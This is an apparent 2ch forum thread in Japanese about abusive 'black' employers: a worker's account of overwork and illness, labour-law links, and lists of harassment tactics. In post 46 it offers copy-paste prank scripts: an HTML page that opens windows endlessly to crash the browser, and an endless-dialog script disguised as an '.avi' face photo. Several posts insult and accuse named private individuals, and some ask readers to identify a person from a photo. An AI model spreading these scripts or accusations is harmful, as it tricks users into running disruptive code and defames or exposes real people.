ブラック企業に就職して心身病までおいつめられた

1 ：2013/04/10 〜 最終レス ：2013/08/17

２ちゃんで学んだようなブラックの斜め左上を
行ってる企業に就職して心身病になり廃人になった。

2 ：

寝れなくて暇なんです。
見てくれてる人いたら続けたい

3 ：

愛媛のブラック企業が理由も無く即時解雇をしたので労働局や各種機関に通報、
労働局の呼び出しに応じて出てきた会社が懲戒解雇の理由を全く明示出来なかった。

4 ：

パートのおばさんと雑談しただけで突如解雇
予告も理由も無し、おかしいっていうレベルじゃないよな
この話をした人は、信じてくれない人も多い。
そんな会社、存在するのか？と言われた。
当たり前だよな、今でも何がおこったのか全然わからない。
何かの詐欺ビジネスか？
労働基準局で何時間も話し込んで弁護士に何度も相談した。
相手は会社で、証拠も取れてないので裁判も難しい。
ただ不当解雇なのは、はっきりしていて保証金だけは取れる。
でも、それで意味もわからず突然解雇された事への納得が出来るかと言われると
納得出来る人は居ないと思う。
解雇の理由を、きちんと説明してくれ。

5 ：

お、こんばんは。
とりあえず書いてもおｋ？

6 ：

内定もらって専門卒業して無事就職したのが去年の春。
はじめはいい会社だと思って頑張ろうと決めた。

7 ：

パワハラ上司を許さない９
http://kohada.2ch.net/test/read.cgi/employee/1344743941/
ブラック企業を撲滅しよう
http://kohada.2ch.net/test/read.cgi/employee/1360588178/
【パワハラ】パワーハラスメント相談スレ part2
http://engawa.2ch.net/test/read.cgi/shikaku/1273308888/
【未払】労働法のスレッド　Part82【解雇】
http://engawa.2ch.net/test/read.cgi/shikaku/1359907887/
[ひとりで]労働審判4[できる]
http://anago.2ch.net/test/read.cgi/court/1343038761/
裁判するなら参考までに。

8 ：

おかしいなと思ったのは３日目くらいかな
シフトが休みなく入ってることに気づいた
日曜は会社の定休日だけど、週６？と思いつつ
先輩に聞いてみた

9 ：

ありがとう、家族と話して裁判まではしないと決めたんだ
私「あの、休みって、、」
先「人いないからないんだよね、まあ最初はきついけど頑張って」
社会ってこんなもんかってかんじだと思ってたから最初は受け入れられた
でも間違いだった。

10 ：

帰り道歩きながら母親に電話
私「なんか休み日曜だけなんだって」
母「え！そうなの！大丈夫？」
私「大丈夫じゃん？」
そんなこといえてたのはほんとこの頃だけだったかもしれない

11 ：

最初に入った会社の後輩は過労死して今でも裁判してる

12 ：

ちなみに就職先は、病院が運営してるプール施設
勤務して２週間ひたすら毎日体操の練習
鏡の前の自分がなんなのかわからないくらい練習
水着は会社もちかと思ったら、自腹。
練習以外はひたすらカルテしまってコップ洗い。
頭おかしくなりそうだった

13 ：

ふと考えた、給料支払いの口座番号教えてない
給料っていつ支払いなの？
一つ疑問に思うとすべてが疑問だった

14 ：

聞いてみると支払いは２５日
給料は手渡し
このご時世に手渡しなんてあるんだ
と思った、疑問はこれだけではなかったかな

15 ：

具体的な給料の話してもらったことなかったから
先輩に聞いてみた、そしたら新人は研修期間３ヶ月は
７５０円という高校生並みの時給と言われて
やっていけるか不安になった

16 ：

なにせ安いアパートでも一人暮らしを
始めたばかりでほんとにお金がなかった。
だから自分からシフト増やしてくださいって頼んだ
今思えばこの一言がだめだった。

17 ：

その次の週からシフトは変わって
朝８時から２１時までになった。
いきなりかよって思ったけど自業自得だから
頑張った。

18 ：

月末にプール掃除があると言われた
しかも日曜に。
断れる雰囲気ではなかったので参加しますと伝え
母親に連絡、月末帰る予定だったけど帰れない
心配させたくなくて用事ができたと伝えた。
また疑問がでた

19 ：

新卒の会社は朝８時から夜１１時、
会社カレンダーは土曜日も休みが多かったが
実質は毎週土曜日サービス出勤。
残業もサービスなので時給換算すると６００円だった。
県内大手の上場企業、これに比べると・・・。

20 ：

ふつう業者入れるだろ、って思った。
学生時代のバイト先が学童プールだったんだけど
そこは月末に業者入れて毎月清掃あったから違和感がすごかった
しかも清掃は３，４ヶ月に１回と言われたのが衝撃的だった
循環式のプールだとしてもそれはないな、と
なんなんだここは、ってほんとに思い始めてきた

21 ：

＞＞19
そこもきついな。
月末になって清掃
5人程の人数で精一杯、サイドのカビ取りをして
中の壁床すべて行って３月下旬で汗だく
持病のヘルニアが悲鳴あげながらデッキブラシ片手に
夕方までやったよ
まあ、翌日は普通に定時通り仕事
清掃の時は事務員もかり出されてた
院長は監視カメラでほんとに監視してるだけの役目

22 ：

こんなにがんばったんだから給料期待してもいいだろう
っておもってやっと給料日。
この会社家族経営なもんで給料は会長からの手渡し
わざわざご自宅に取りに行かなくちゃならない。
自宅遠い
ふざけんな
って言いながら取りに行ったの覚えてる

23 ：

自宅到着
鳴らすインターフォン
誰も出ない
おそるおそるドアを開けて見ると
なんか世話人？さんが顔はらして泣いて出てきた
さすがに引いた。

24 ：

あ、どうも
とか言ってたら奥から会長の声
二度と顔見せるんじゃないよ！！
えええええええええええ
とりあえず隠れた、

25 ：

とりあえず世話人さんよそにインターフォン鳴らして見た
そしたら猫なで声に変わった会長の声で
どなた〜？
うわああああああああああああ
なりながらも名前言って少し会話して給料うけとった

26 ：

早く帰りたくて会話切り上げて帰宅
アパート付いてどきどきしながら緑色の封筒あけた
１3万くらいしかはいってなくて
なにかの間違えかと思い明細見た
あのときの焦り方は尋常じゃなかったとおもふ

27 ：

間違えではなく事実
残業分が全く換算されてなかった

28 ：

計算したら250時間は働いたはずなのに
全く表記されてなかった、
金の話はだれにも相談できなくて
その日はローソンで缶チューハイ買って飲んだな

29 ：

どこの会社でもよくある事

30 ：

そこらへんからかなおかしくなり始めたのは
同時期に一人辞めてばか忙しくなった

31 ：

初任給から暑くなるまでの期間
ほんとに記憶が曖昧で日記とかで確認する毎日
夏の暑い時期に脱水症状で倒れた
病院が併設されてるからすぐに運ばれて点滴
ずっとうわごとみたいに、仕事仕事って
いってたみたいで、記憶はないんだが

32 ：

栄養剤点滴して、その日は帰ることができた
一人で帰ったけどどうやって帰ったのか未だにわからない
その次の日から先輩たちの態度が急変

33 ：

明らかに怒っている
やばいってレベルじゃない
機械室に呼ばれて説教された
その間も意識朦朧としてた
何言われてるのかわからなくて
すいませんしか言えなかった

34 ：

その日を境にまたおかしくなって
睡眠障害、摂食障害が目立ち始めた
寝れない、食べれない、食べても嘔吐
院長にお願いして空いてる時間に点滴してもらった
でも睡眠とこのことは伏せて点滴したいと言った
また倒れられても困るからか簡単に点滴してくれた

35 ：

友人が異変に気がついて精神病院に連れて行ってくれた
その子は中学で親の離婚問題で精神病になったから
私の異変にはいち早く気づいてたみたい、まあ
もともと中肉中背だから一目瞭然。
寝れてないからクマはひどい
食べれてないから痩せてたし
なにより髪の毛の抜けがひどかった

36 ：

「自分自身が否定されているようでへこみます」？
架空の質問にしても感覚が古すぎやしないだろうか
かつて自己愛世代と言われた団塊ジュニアならまだしも
慎重かつ外面は過剰なほどに謙虚な今時の若者がこんな事を言うだろうか
「君は肯定されるほどの人間だと自分では思っているのか」
と一手詰めされるのは目に見えているはずだ
質問者の設定は就職活動中の学生だ
人生のスタートラインにすら立っていない
コースを割り当てられてすらいないのだ
ゼロではなくマイナスの段階に過ぎない自分が「否定された」事をいわば否定する
まるで想定外でだったかのように
彼らの親世代ともども日本人として極めて異質な世代であった

37 ：

愛媛県のブラック企業『この会社だけはやめておけ』
http://kohada.2ch.net/test/read.cgi/job/1217629211/
愛媛県のブラック企業
http://kohada.2ch.net/test/read.cgi/job/1228228209/
愛媛県のブラック企業 Part3
http://kohada.2ch.net/test/read.cgi/job/1254326051/
愛媛県のブラック企業 Part4
http://kohada.2ch.net/test/read.cgi/job/1289216583/
【絶望】愛媛の就職、転職 パート46【破滅】
http://kohada.2ch.net/test/read.cgi/job/1358252183/

38 ：

Ｍ鉄、美人局不祥事隠蔽工作中!!
名古屋○道
秘書課で発生！欝注意！近〇ｻﾌﾞﾁｰﾌと木〇秘書のパワハラ不祥事を隠蔽工作中！
繰り返す｢否定｣で相手を支配する｢ﾓﾗﾙﾊﾗｽﾒﾝﾄ｣の恐怖

ﾓﾗﾙﾊﾗｽﾒﾝﾄは､幼児の心を持った知性のある大人による､精神への傷害行為であるといってよいものです｡
自殺に追い込まれる人もいることを考えれば､もしもあなたがうつ症状に陥って死ぬことも考えているのであれば､殺人未遂であるとも言えます｡
我慢しないで､冷静に事実を証拠として積み重ねて､ときには非常手段に出てでも証拠を押さえて外部の人に相談してください｡

【酷杉】企業が社員を辞めさせる手口 「ガスライティング」

大体は無能な奴が集団で陰口などの精神攻撃するパターン
主犯格はほぼ1人
ある事無い事言いふらして、噂や悪評をすぐ信じる奴から手なづける
注目すべきなのは主犯格のヤツ。
法に触れないだけで、やってる事はサイコパスそのもので自分が正義だと周りに思い込ませる扇動力に長けてる
仕事は出来ないが、カルトの教祖になれるぐらいのカリスマ性がある
職場でもこの手を使って昇進してるか、全く仕事しなくても問題視されない立場を築きあげてる事が多い。

デートの誘いを断ると、あらぬ噂話を広め嫌がらせをする境界例Ｍ鉄秘書。
Ｍ鉄交通の役員運転手がｶﾞｽﾗｲﾃﾞｨﾝｸﾞで潰されている。

Ｍ鉄交通ハ○ヤー部支配人がパワハラ、報復人事の件で労働局に呼び出しされたもよう。
【名古屋】名鉄交通ってどうよ？ ３台口
http://uni.2ch.net/test/read.cgi/traf/1349269004/

39 ：

日本果実工業＠山口県山口市仁保
違法で犯罪行為な糞会社ｗ偽装請負、違法派遣、労働基準法無視、パワハラｗ （鴻池運輸　山口営業所が関係）
サントリー、コカコーラ、伊藤園、キリン、アサヒ、ＪＴ、サッポロ、花王
の製品（清涼飲料水）を足元を見られながら犯罪工場で製造してま〜すｗ
犯罪行為や低賃金で労働者を酷使しても５流企業ですｗ
おまけにここの工場は超不衛生なウンコ工場ですｗ
そんな犯罪ウンコ会社の日本果実工業の社長の名前は藤野正義ｗ
犯罪会社の社長の名前が正義とかｗウケるｗｗｗｗｗｗ
この藤野正義は鴻池運輸からお金を貰って懐柔されていますｗ
とんでもねーボケ老人ですｗ
ボケ老人の隙をつくという悪徳犯罪会社　鴻池運輸ｗ
ごみはゴミ箱へボケ老人は鉄格子のある老人病院へｗ
犯罪行為をしても中途半端な糞会社とかｗｗｗｗｗｗｗ
ボケ老人は鉄格子のある老人病院へｗｗｗｗｗｗｗｗｗ

40 ：

愛媛県のブラック企業、刑事R状を提出して相談しましたが・・
起訴が難しいと言われ悔し涙を流しました。
労働審判については、受理すると言われているので
先ずはそちらで、色々と証拠を出し尽くしてもらう。

41 ：

>>1
おい途中でやめんなよ

42 ：

>>38
仲間がやられている！

役員
↓？
部長
↓隠蔽
課長
↓↑隠蔽
20代〇ﾌﾞ〇ｰﾌ
↓嫉妬心から立場の　弱い者（運転士）　にﾀｰｹﾞｯﾄを定め悪　い噂をばらまく
20代〇書
↓噂話を真に受けて〇ﾌﾞ〇ｰﾌとﾀｯｸﾞを　組んでﾓﾗﾊﾗ
運転士
（鬱.ノイローゼ発症）
↓
口止め工作&雇い止め宣告。

43 ：

テスト

44 ：

テスト

45 ：

基本は隠ぺい体質
　

ムラ中がお互いに監視、チクリ､噂でプライバシー無し
ムラ中が何らかの親戚で、本家と分家の「家の格」を気にしながらの生活
ムラぐるみで事件､事故を隠す
ムラの実力者はトラブルを外界から隠して内輪で解決したいので正式な被害届、事故証明を出させないようにする
ムラに都合の悪いことを喋ったり、ムラの実力者のメンツを潰すのはタブー
タブーを破ればムラ八部
ムラの駐在は、嫌われるのが怖いので見て見ぬ振り

46 ：

以下のソースコードをメモ帳に貼り付けて、htmlで保存
<BODY Onload="var i=0;while(1){open('./',i++);}">
◆電波王の顔写真が公開されるプログラム◆
１．メモ帳に↓をコピペする
　　for(;;){ WScript.Echo('このウィンドウは永久に消えません。m9（＾Д＾）プギャー'); }
２．ファイル名を↓で保存する
　　電波王顔.avi .js
これだけでOK！
以下のソースコードをメモ帳に貼り付けて、htmlで保存すればテトリスが動きます。
<body onKeyDown=K=event.keyCode><script>X=[Z=[B=A=12]];h=e=K=t=P=0;function Y()
{C=[d=K-38];c=0;for(i=4;i--*K;K-13?c+=!Z[h+p+d]:c-=!Z[h+(C[i]=p*A-Math.round(p/
A)*145)])p=B[i];!t|c+4?c-4?0:h+=d:B=C;for(f=K=i=0;i<4;f+=Z[A+p])X[p=h+B[i++]]=1
if(e=!e){if(f|B){for(l=228;i--;)Z[h+B[i]]=k=1;for(B=[[-7,-20,6,17,-9,3,6][t=++t
%7]-4,0,1,t-6?-A:-1];l--;h=5)if(l%A)l-=l%A*!Z[l];else for(P+=k++,j=l+=A;--j>A;)
Z[j]=Z[j-A]}h+=A}for(i=S="";i<240;X[i]=Z[i]|=++i%A<2|i>228)i%A?0:S+="<br>",S+=X
[i]?"■":"＿";document.body.innerHTML=S+P;Z[5]||setTimeout(Y,99-P)}Y()</script>
スロットやろうぜ！
<body onKeyDown=K=1><pre><script>R=7;D=document;function Y(){D.all(7).innerHTML
=P;if(K){R>>=1;if(!R){o=A[0]&amp;56;if(o-(A[1]&amp;56)||o-(A[2]&amp;56)){alert("残念");if(P
<5)return alert("END")}else alert(g=T[o/=8]),P+=g;P-=5;R=7}}for(K=i=0;i<9;C[i++
%3]/=8)j=A[i],C[i]=A[i]=R&amp;4>>i?j=j%(1<<27)*8|j>>27:j,D.all[9+i].innerHTML=S[C[i
%3]&amp;7];setTimeout(Y,99)}S="７□＝○∴｜￥＄".split("");T=[100,5,10,15,20,30,P=
45,60];A=[0x16E29519,0x1DCC2E65,0x384CD988];C=[];a="<b></b><b></b><b></b>\n";D.
write(a,a,a,a);for(i=8;i--;K=0)D.write("\n\t",S[i]," ",T[i]);Y()</script>
それ系のぷよぷよもあるよね
<body onKeyDown=K=event.keyCode-38><script>function T(){h=100,B=Math.floor(Math
.random(l=8,p=-1)*16+4)}function Y(){for(S="",i=104;i--;i%8||(S+="<br>"))n=N[i]
,S+=n?~n?"<a style=color:#"+(249*n)+">●</a>":"■":"＿";document.body.innerHTML
=S;N=[K-50?h-=M[h+l-K]|M[h-K]?0:K:M[h+p]?0:(x=p,p=-l,l=x)];for(K=0;++i<113;N[i]
=M[i]);N[h]=B>>2;N[h+l]=B%4+1;if(!(++e%10))if(h-=8,M[h]+M[h+l])for(M=N,T(f=0);f
=!f;){for(i=112;i--;g=C[i]=0);for(;g=!g;)for(i=0;i<103;i++)if(n=M[i+8],!M[i]&amp;&amp;n
)M[i]=n,M[i+8]=g=0;for(;i--;){n=c=0;for(E=[i];M[i]>0&amp;n>=c;c++)for(j=4;j--;t>102
|C[t]|M[i]-M[t]||(C[t]=E[++n]=t))x=p,p=-l,l=x,t=E[c]+p;if(n>3)for(;n;)f=M[E[n--
]]=0}}M[100]||setTimeout(Y,49)}for(M=N=[C=[i=113]];--i;M[i-1]=i%8>1&amp;i>7?0:-1);Y
(T(e=K=0));</script>

47 ：

【人を探してます】
どんな小さな情報でもいいですから誰のスケジュールか分る人はいませんか？
◆黄金スケジュール
http://www.logsoku.com/r/infosys/1355538383/1 .

48 ：

労基署が労働基準法違反の是正勧告出しました！
ここからは民事訴訟に移行、
刑法違反もいくつか残ってますが状況証拠ばかりなので
ほとんど民事の争いになります。

49 ：

http://homepage1.nifty.com/eggs/sikou/sosa/1intro.html

50 ：

標的となる人物（ターゲット）の感覚喪失、妄想、悪評、トラブル等を捏造または演出し、
ターゲットの社会的評価を失墜させ、ターゲットの自信、自尊心及び評判を破壊し、
ターゲットの人生を思い通りのレベルまで破滅させ、自殺に追い込むことまで出来るにも
かかわらず、ターゲット自身が自滅したかのように見せかけることの出来る数々の手口、
及びその段階的な計画の総称を「ガスライティング」と呼ぶ。

会社が社員を辞めさせるためには、どのような方法があるか。
日本の労働法は解雇規制が厳しく、安易に解雇すれば会社が訴えられるリスクが高い。
裁判で負ければ「ブラック企業」のレッテルが貼られ、広く知られてしまう。

そこで、退職勧奨をしても自発的に辞めない場合、加害者が分からないような
「間接的な嫌がらせ」をして退職に追い込む例が実際に存在する。

51 ：

・経営者・上層部の権限だけ大きく責任は末端に押し付けている。
・独裁的経営、恐怖政治的経営、ワンマン経営、同族（親族）経営、成り行き任せの経営。
・部下に対する暴力制裁の横行。
・セクシャル・ハラスメント。
・会社がパワハラ・いじめを黙認、正当化する。または上司や幹部が職場いじめに加担している。
・一時的に大量採用したり、社員を全員名ばかり管理職にするなど、従業員の使い捨てを前提としたビジネスモデルを構築。
・上層部と一般従業員や中間管理職の間には血縁といった、決して越えられない壁がある。
・経営者・上層部に暴力団などの反社会的勢力やフロント企業との関係がある。
・経営者・上層部にカルト、宗教団体、新興宗教との繋がりがある。
・会社や資産を私物化している。
・職務分掌がまともに機能していない。
・「はい」以外の返答の禁止、業務上の問題点の指摘もできない。
・自分の成績や自己保身のために部下や周囲を次々と食い潰すクラッシャー上司を放置する。
・従業員の人格や人権を軽視した洗脳を施す。
・自分たちが責任を負うべき指示は口頭で済ませる。指示者がミスをしても証拠がない。
・恣意的かつ報復的な業務命令や人事(パワーハラスメント)の横行。
・監査役が形だけで機能しない。
・強烈なプレッシャーとストレスが掛かり続け下級社員が鬱病やPTSDなどを発症。
・仕事とプライベートの区別がない、公私混同の蔓延。
・従業員の家族までも対象にした社外活動。
・労働組合は存在しない。
・経営陣が従業員の言動を徹底的に監視する。
・家庭訪問がある。

52 ：

・常に収益の向上を名目とし、人件費削減を過剰に追求しているため、仕事量と内容に対して人数が絶対的に不足している。
・残業が当たり前で、定時に終わらせることなど到底無理な仕事量を押し付ける。
・勤務時間外や休日の「接待ゴルフ」に付き合わせる。
・客観性の乏しい給与制度として成果主義や年俸制を導入。
・裁量労働制やフレックスタイム制を悪用して、社員の拘束時間を無制限に延ばす。
・当直の労働基準監督署への届出をしていないのに、当直と言い張り、時間外の勤務に対して労働対価を支払わない。
・週休一日のみで週40時間の労働を順守できないにもかかわらず、届出に「週40時間」などの虚偽を記載させる（残業時間を除く）。
・有給休暇を認めない。
・転勤や備品代などの諸経費を自己負担させる（会社負担がない）。出張に必要な交通費や宿泊費でさえ、自己負担。
・勤務に必要な制服や道具などを会社が負担・支給しない。
・ノルマが達成できない場合、手取り額が最低賃金以下になる。
・あらゆる不可抗力に対しても罰金を取る。
・2交代制の交代勤務や、終電過ぎまでの勤務や何日も会社に泊り込んでの仕事など、体調を崩したり、鬱病（うつ）などの精神疾患を発症する。
・過剰なストレスによるPTSDの発症、発作的な自死や過労死など生命を失う事態も。
・キャリアアップのシステムや支援は実質的にない。
・国家資格・公的資格の場合は合格率の低い難関資格など、会社の都合による資格の取得で、これが絶対ノルマとして課される。
・忌引そのものが一切認められない。仮に認められても有給として処理されてしまい、査定に響くことになる。
・常識的な円満退職は期待できない。
・退職届を受理せず懲戒解雇にする。
・退職の理由欄に「自己都合」などと記入するよう強制する。

53 ：

女性秘書（独身）と仲良くしていると、横から同僚の男（既婚者サブチーフ）が出て来て激しく妨害をするらしい。
間違いが起きるといけないからプライベートな話はしゃべるな！だと

54 ：

職場の女性達２人が怪しいぐらい近付いてきたので警戒はしていましたが、
水商売の接待みたいにほめあげられ誘われを繰り返され、
誘われてついつい休憩時間に何度か一緒にお茶をしました。
そこは誰もが出入り自由な部屋で男女５人で休憩しました。（女３人、男２人）
毎日ではないですが、３週間ぐらいお茶に通いました。
そしてある日仕事中に突然、「Aさんの事が好きなんですか？」と聞かれました。
仲良くなれたと思っていたのでみんなの事が好きでした。
「既婚者なので恋愛感情はないけれど独身だったら好きになってたかもしれない」と答えました。
そして、次の日から職場に出入り禁止になり数週間後に突然解雇になりました。
解雇された原因説明によれば「誘われてコーヒーに行ってたんだって？」と強い口調で言われ
「独身だったら好きになってたそうじゃないか、 旦那がおこって会社に怒鳴り込んでくると言われた」と散々怒られ即時解雇になりました。
既婚者に恋愛感情は無いと答えたと言っても聞き入れられませんでした。
こちらからは全くアプローチもしていなくて誘ってもなくて連絡先も聞いてません。

55 ：

人間性の問題だ
人間的にいい奴は、いい環境に入ってるよ、類は友を呼ぶから
ブラックに入る奴等は、その十年前にかなりの悪さをしてるんだよ
いま、イジメや無視が当たり前だろ？
カルマ(因果)は十年後に跳ね返ってくる法則があるから、そいつら、一斉にブラック入って、不徳を償うというか、カルマの解消をするわけだ
入社後も悪さをしてる連中は、タコが自分の脚を食うように、カルマをひたすら浴び続ける、つまり負のループだ

56 ：

うーん、理不尽なイジメをしたやつらの方が成功して幸せになってるけどな・・・

57 ：

愛媛のブラック企業でパワハラをされて解雇になり
労働局の斡旋終了、刑事R状を出すが起訴が難しく
労基法違反の行政処分による是正勧告が決定
解雇理由は未だ不明、民事裁判の訴状提出
まだまだ戦いはこれからだ。

58 ：

マイティークラフトの石森にパワハラされたわ

59 ：

>>39の犯罪会社日本果実工業＠山口県山口市仁保はパクリまでしてるｗ
ゴルゴ１３パクリの「長州地サイダー」
その開発責任者の石川玲さん
http://www.minato-yamaguchi.co.jp/yama/news/digest/2009/0523/11p.html
こんな醜女なオバハンを広報担当にするなよｗ
飲む気無くすわｗ
ただでさえ不衛生な工場で製造してるので飲む気しないのにｗ
漫画は馬鹿が読むものと馬鹿でブスの石川玲ちゃんｗ
でも馬鹿でブスの貴女はその馬鹿にしてる漫画をパクってますからｗ
馬鹿だろこのブスｗ若い男性社員にセクハラするしか能が無いブスのくせにｗ
しかしよくこのブス人前に面晒せるよなｗそりゃ若い男性をRに誘っても断られるわｗ
おまけにパクリ商品片手にこのドヤ顔ｗある意味石川玲ちゃんは凄い(^_-)-☆
こんなパクリしかできない低能ブスが広報担当とはｗワロタｗｗｗｗｗ

60 ：

愛建電工はググると
詐欺、ブラック、悪いと出る

61 ：

退職追い込み型配点及び出向と闘う方法
我慢する
会社の狙いが自己退職に追い込むことなのですから我慢をすることです。耐えると言うことが力を蓄えることであり、相手を図にのらせる事でもあるのです。
証拠を集める
会社が調子にのり、違法な人事をやったり、「いじめ」や「いやがらせ」配転のエスカレート、職制の暴言を記録に取って裁判に勝てるまで証拠を蓄積する。
業務命令に従いつつ争う。
配転・出向の不当性を争うが業務命令が出たときは応じつつ闘うこと。この場合相手の不当性とともにこちら側の弱点（就業規則違反など）がないか検討しておく。
出向・転籍は本人の同意が必要なのではっきりと断ること（内容証明郵便で、口頭で断る場合はテープで記録しておく、書面の場合は受け取り印をもらう）
配転も出向も対応を誤らなければ解雇になるわけではないので気軽に上司に対し、「今の職場で続けたい」とはっきり主張することが重要です。
重要な事は本人が会社の不当な退職追い込み型人事を許さないという決意が勝利を決定づける要素であるということです。
このことはどんな場合にも言えることですが、“人の価値は難局に直面したときにわかる”といいます。
困難を恐れない決意、困難と格闘する決意が明らかなら相手が引く場合もあるのです。

62 ：

>>38
「内部Rに関する報復人事」が違法である事は明らか

非をとがめられたからといって、反省するどころかこうした違法な報復を行うというのは、官民を問わず、到底許されるべきことではありません。

内部Rでなくともいわゆる派閥間の抗争など、業務に対する評価とは無関係な理由で配置転換を行っている企業はかなりの数に上るのではないでしょうか‥

これまた一種の報復人事であることに何ら変わりはありませんし、不当に志に反して異動をさせられる従業員の方だけでなく、企業自身の成長にとっても大きなマイナスであるに違いありません。
Rされた企業は何の咎めも受けず、反省もせず、
R者が自社の従業員だった場合、一方的に厳しい処分を下し、
その後も「邪魔者を処分できた」と安心して悪行を続けることになる。

63 ：

>>38
標的となる人物（ターゲット）の感覚喪失、妄想、悪評、トラブル等を捏造または演出し、
ターゲットの社会的評価を失墜させ、ターゲットの自信、自尊心及び評判を破壊し、
ターゲットの人生を思い通りのレベルまで破滅させ、自殺に追い込むことまで出来るにも
かかわらず、ターゲット自身が自滅したかのように見せかけることの出来る数々の手口、
及びその段階的な計画の総称を「ガスライティング」と呼ぶ。

会社が社員を辞めさせるためには、どのような方法があるか。
日本の労働法は解雇規制が厳しく、安易に解雇すれば会社が訴えられるリスクが高い。
裁判で負ければ「ブラック企業」のレッテルが貼られ、広く知られてしまう。

そこで、退職勧奨をしても自発的に辞めない場合、加害者が分からないような
「間接的な嫌がらせ」をして退職に追い込む例が実際に存在する。
名鉄交通ハイヤーエ○″チ支配人は親会社名鉄のガスライディング��パワハラ不祥事を隠蔽し『守秘義務に違反した』との理由で内部Rした運転士を不当にタクシー部門へ配置転換しているぞ!
自身の出世や他の役員運転士の雇用に響く為、親会社名鉄の言いなりだ！
御用組合幹部も自身の出世に響く為、不正不祥事を訴え出ても動かない有り様！
社内コンプライアンスが全く機能していない！

64 ：

■■■　人をさがしています　■■■
どんな小さな情報でもいいですから
誰のスケジュールか、誰の写真なのか分る人はいませんか？
会社関係者かどうかわかりませんが、ご協力願います！
◆黄金スケジュール
http://www.logsoku.com/r/infosys/1355538383/1
◆調査依頼がありました
　　この人は誰だが知ってる人いませんか？
http://cogolo_faces.s3.amazonaws.com/%E4%B9%85%E4%BF%9D%E7%94%B0%E6%96%87%E9%9B%84/main.200.jpg

65 ：

愛建電工でおこった事は労基署に相談すると非常に詐欺に近いと言われ
どの公的な相談機関に相談すると、これは会社側が騙しているという見解が多い。
絶対に真実を暴いてやる。

66 ：

愛媛県のブラック企業 Part5
http://kohada.2ch.net/test/read.cgi/job/1343394404/
愛建電工でおこった事惨状が赤裸々に語られている

67 ：

■■■　人をさがしています　■■■
どんな小さな情報でもいいですから
誰のスケジュールか、誰の写真なのか分る人はいませんか？
会社関係者かどうかわかりませんが、ご協力願います！
◆黄金スケジュール
http://www.logsoku.com/r/infosys/1355538383/1
◆調査依頼がありました
　　この人は誰だが知ってる人いませんか？
http://cogolo_faces.s3.amazonaws.com/%E4%B9%85%E4%BF%9D%E7%94%B0%E6%96%87%E9%9B%84/main.200.jpg

68 ：

http://www.google.co.jp/search?q=%E6%84%9B%E5%BB%BA%E9%9B%BB%E5%B7%A5%E3%80%80%E8%A9%90%E6%AC%BA&btnG=%E6%A4%9C%E7%B4%A2
http://www.google.co.jp/search?q=%E6%84%9B%E5%BB%BA%E9%9B%BB%E5%B7%A5%E3%80%80%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF&btnG=%E6%A4%9C%E7%B4%A2
http://search.yahoo.co.jp/search?p=%E6%84%9B%E5%BB%BA%E9%9B%BB%E5%B7%A5%20%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF

69 ：

www.aikendenko.jp/
www.aikendenko.jp/company.htm

70 ：

愛建電工
愛媛のブラック企業、愛媛県のブラック企業、愛媛ブラック会社、愛媛県のブラック会社
上記のワードでGoogle検索すると関連検索で会社名が出るブラック企業、Yahoo!検索でもブラックと出る。
愛建電工でGoogle検索するとブラック、悪い、詐欺と出る。
労基署から長時間労働や労災の事で調査が何度も入り工場施設の是正勧告を受けた、
また倉庫で工場作業をしており、労基署の巡回がある時だけは作業をしてないない。
愛建電工のパワハラは厚生労働省や労基署や法務局等に通報され訴訟問題に発展している。

71 ：

愛建電工、詐欺、ブラック、悪い、裁判、訴訟、パワハラ、違反、違法、労働、労基、冤罪、犯罪、美人局

72 ：

愛媛県のブラック企業で美人局の詐欺に遭った、ただ美人局というものは知らなかった。
相手は既婚者のおばさん数人で 、色々と誘われたので
男女何人かで誰でも出入り出来る会社の休憩所で一緒にお茶をした。
すると何故か、誘ってきたおばさんの旦那が怒って
会社に怒鳴り込んでくると脅され突然解雇になった。
こっちは誘われてお茶しただけ・・・・・恋愛感情などない。

73 ：

名鉄アンチスレ
http://toro.2ch.net/test/read.cgi/rail/1335622002/
名鉄の未来って？
http://toro.2ch.net/test/read.cgi/rail/1344593076/
名鉄のパワハラについて語るスレ
http://toro.2ch.net/test/read.cgi/rail/1344258490/
名鉄のパワハラについて語るスレ　2
http://toro.2ch.net/test/read.cgi/rail/1357443879/
名鉄のパワハラについて語るスレ　3
http://toro.2ch.net/test/read.cgi/rail/1367712949/

74 ：

消費者が問題企業を批判するというのは、ほとんどの場合非営利ですし、問題企業の存在、手口を世間に広く知らしめる行為は、「公共の利害に関する」もので「公益を図る目的に出た」と常識的に判断される。
名誉毀損罪の処罰しない条件は、「公共の利害に関する事実」であること「その目的が専ら公益を図ることにあったと認める場合」であること、「真実であることの証明」の3条件ですが、
「公訴が提起されるに至っていない人の犯罪行為に関する事実は、公共の利害に関する事実とみなす」ために、
悪事ということであると「その目的が専ら公益を図ることにあったと認める場合」であること、「真実であることの証明」の2条件になります。
真実性があれば、営業妨害などの他の不法行為が成立することもありません。

75 ：

森蔵には友達がいません
会社でも上司に怒られ同僚にバカにされ
いつもカップラーメンを食べています
でも花だけは友達です
花はしゃべりませんが、世話をすると
ありがとうと言っているようです
さみしい森蔵の友達は花だけです

76 ：

東京都武蔵野市にある横河電機株式会社の人事担当者　山崎正晴
さんが、
１．自社内で盗聴器やRカメラを使って従業員を管理していること、
２．私立探偵を雇い、従業員の住宅の盗聴や尾行して素行調査をし
ていること
を暴露しています。上記は、社員を合法的に自己都合退
職に追い込むために使用するようです。
　上記の事柄は、人事担当者は外部に公表してはならない事柄に
なっているようです。
　間違って、聴いたり、見たりした者にとっては、都合が悪い事柄
ですので、取引先として、厳重に取り締まってください。

77 ：

http://xup.cc/xup4VG6cKsQ
http://xup.cc/xup4VG6cVWY
http://xup.cc/xup4VG6cWTK
http://xup.cc/xup4VG6ccK2
http://xup.cc/xup4VG6cfp3
http://xup.cc/xup4VG6ciyl

78 ：

愛建電工でおこったパワハラは訴訟問題に発展した。
パワハラの被害を会社に相談した事で被害者が即時解雇され、
これは会社が赤字になるので、リストラ工作のために
最初から仕組んだパワハラだという見解が強い。
悪質なパワハラなのできちんと反省して欲しい。

79 ：

根も葉もないセリフや噂やレッテルの繰り返しなどの
人格否定の精神攻撃で相手を追い詰めて、退社や、
自殺未遂〜自殺をするまで心を攻撃する手口

80 ：

【今野晴貴】新左翼カルト・NPO法人POSSEに注意！【ブラック企業】
http://matome.naver.jp/odai/2136367280864865401
【若者の労働問題に取り組む団体】の皮を被った京大政経研グループのセクトです。
オルグされる前に逃げよう！

81 ：

株式会社マイティークラフトはブラック企業
石森礼二って奴が周りをイエスマンで固め
